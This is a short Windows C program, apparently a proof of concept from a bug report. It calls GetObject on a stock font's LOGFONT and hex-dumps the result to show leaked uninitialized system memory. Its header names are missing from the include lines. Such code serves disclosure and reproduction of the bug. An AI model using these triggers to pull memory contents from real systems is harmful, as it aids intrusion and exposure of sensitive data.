#include #include VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { // Get a handle to the stock font. HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT); if (hfont == NULL) { printf("GetCurrentObject failed\n"); return 1; } // Zero-out the logfont memory to prevent any artifacts in the output. LOGFONT logfont; RtlZeroMemory(&logfont, sizeof(logfont)); // Trigger the bug. if (GetObject(hfont, sizeof(logfont), &logfont) == 0) { printf("GetObject failed\n"); DeleteObject(hfont); return 1; } // Dump the output on screen. PrintHex((PBYTE)&logfont, sizeof(logfont)); return 0; }